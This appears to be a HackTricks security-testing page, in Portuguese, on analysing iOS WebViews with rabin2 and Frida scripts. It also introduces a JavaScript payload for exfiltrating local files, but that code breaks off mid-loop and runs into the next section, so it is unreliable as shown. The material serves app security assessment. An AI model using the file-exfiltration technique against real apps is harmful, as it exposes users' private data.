# iOS WebViews {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} O código desta página foi extraído de [aqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Confira a página para mais detalhes. ## Tipos de WebViews WebViews são utilizados dentro de aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral: - **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à sua falta de suporte para desativar **JavaScript**, tornando-o suscetível a injeção de scripts e ataques de **Cross-Site Scripting (XSS)**. - **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. **JavaScript** é ativado por padrão, mas pode ser desativado se necessário. Também suporta recursos para evitar que o JavaScript abra janelas automaticamente e garante que todo o conteúdo seja carregado de forma segura. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetar o processo principal do aplicativo. - **SFSafariViewController** oferece uma experiência de navegação na web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário em relação ao aplicativo. Deve ser exibido de forma proeminente de acordo com as diretrizes da App Store. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; preferences.javaScriptEnabled = NO; WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init]; config.preferences = preferences; WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config]; ``` ## WebViews Configuration Exploration Summary ### **Static Analysis Overview** No processo de exame das configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar esses WebViews dentro de um binário, comandos são utilizados, buscando referências de classe específicas e métodos de inicialização. - **Identificação do UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" ``` Este comando ajuda a localizar instâncias de **UIWebView** procurando por cadeias de texto relacionadas a ele no binário. - **Identificação do WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" ``` Da mesma forma, para **WKWebView**, este comando busca no binário por strings de texto indicativas de seu uso. Além disso, para descobrir como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionada à sua inicialização: ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" ``` #### **Verificação de Configuração do JavaScript** Para **WKWebView**, é destacado que desabilitar o JavaScript é uma boa prática, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desabilitado: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Verificação de Somente Conteúdo Seguro** **WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Insights de Análise Dinâmica** A análise dinâmica envolve inspecionar o heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse propósito, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas ao JavaScript e conteúdo seguro. A inspeção do heap pode ser realizada usando `ObjC.choose()` para identificar instâncias de WebView e verificar as propriedades `javaScriptEnabled` e `hasonlysecurecontent`. {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { console.log('onMatch: ', ui); console.log('URL: ', ui.request().toString()); }, onComplete: function () { console.log('done for UIWebView!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ObjC.choose(ObjC.classes['SFSafariViewController'], { onMatch: function (sf) { console.log('onMatch: ', sf); }, onComplete: function () { console.log('done for SFSafariViewController!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); } }); ``` {% endcode %} O script é executado com: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js ``` **Resultados Chave**: - Instâncias de WebViews são localizadas e inspecionadas com sucesso. - A habilitação de JavaScript e as configurações de conteúdo seguro são verificadas. Este resumo encapsula os passos e comandos críticos envolvidos na análise das configurações do WebView através de abordagens estáticas e dinâmicas, focando em recursos de segurança como a habilitação de JavaScript e a detecção de conteúdo misto. ## Manipulação de Protocólos do WebView Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que, ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si. **WebViews** oferecem diferentes métodos para carregamento de conteúdo. Para **UIWebView**, agora obsoleto, métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:` são utilizados. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar uma URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado. Para encontrar esses métodos no código-fonte ou binário compilado, comandos como os seguintes podem ser usados: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` Quanto ao **acesso a arquivos**, UIWebView permite isso universalmente, enquanto WKWebView introduz as configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a partir de URLs de arquivos, com ambas sendo falsas por padrão. Um exemplo de script Frida é fornecido para inspecionar as configurações de **WKWebView** para configurações de segurança: ```bash ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled()); console.log('allowFileAccessFromFileURLs: ', wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString()); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); console.log('allowUniversalAccessFromFileURLs: ', wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ``` Por fim, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o potencial risco de segurança associado a WebViews mal configurados. Este payload codifica o conteúdo dos arquivos em formato hex antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebView. ```javascript String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i ``` O lado nativo lida com a chamada JavaScript conforme mostrado na classe `JavaScriptBridgeMessageHandler`, onde o resultado de operações como multiplicar números é processado e enviado de volta ao JavaScript para exibição ou manipulação adicional: ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { // Handling "multiplyNumbers" operation case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) // Callback to JavaScript let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) } ``` ## Debugging iOS WebViews (Tutorial baseado no de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Para depurar efetivamente o conteúdo da web dentro de webviews iOS, é necessária uma configuração específica envolvendo as ferramentas de desenvolvedor do Safari, devido ao fato de que as mensagens enviadas para `console.log()` não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando etapas e requisitos principais: - **Preparação no Dispositivo iOS**: O Web Inspector do Safari precisa ser ativado no seu dispositivo iOS. Isso é feito indo em **Ajustes > Safari > Avançado**, e habilitando o _Web Inspector_. - **Preparação no Dispositivo macOS**: No seu computador de desenvolvimento macOS, você deve habilitar as ferramentas de desenvolvedor dentro do Safari. Inicie o Safari, acesse **Safari > Preferências > Avançado**, e selecione a opção para _Mostrar menu Desenvolver_. - **Conexão e Depuração**: Após conectar seu dispositivo iOS ao seu computador macOS e iniciar seu aplicativo, use o Safari no seu dispositivo macOS para selecionar a webview que você deseja depurar. Navegue até _Desenvolver_ na barra de menu do Safari, passe o mouse sobre o nome do seu dispositivo iOS para ver uma lista de instâncias de webview, e selecione a instância que você deseja inspecionar. Uma nova janela do Web Inspector do Safari será aberta para esse propósito. No entanto, esteja ciente das limitações: - A depuração com este método requer um dispositivo macOS, pois depende do Safari. - Apenas webviews em aplicativos carregados no seu dispositivo através do Xcode são elegíveis para depuração. Webviews em aplicativos instalados via App Store ou Apple Configurator não podem ser depurados dessa maneira. ## References * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}